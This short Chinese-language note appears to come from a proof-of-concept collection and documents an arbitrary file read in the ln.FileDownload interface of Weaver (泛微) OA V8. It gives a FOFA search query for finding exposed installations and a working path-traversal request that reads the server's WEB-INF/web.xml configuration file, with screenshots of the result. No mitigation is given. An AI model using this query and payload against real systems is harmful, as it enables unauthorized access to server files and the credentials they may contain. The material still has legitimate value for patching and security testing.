# 泛微OA ln.FileDownload 任意文件读取漏洞

## 漏洞描述

泛微OA ln.FileDownload 接口存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器任意文件

## 漏洞影响

```
泛微OA V8
```

## FOFA

```
app="泛微-协同办公OA"
```

## 漏洞复现

登陆页面

![image-20220520141045902](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205201410983.png)

验证POC

```
/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml
```

![image-20220520141058500](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205201410567.png)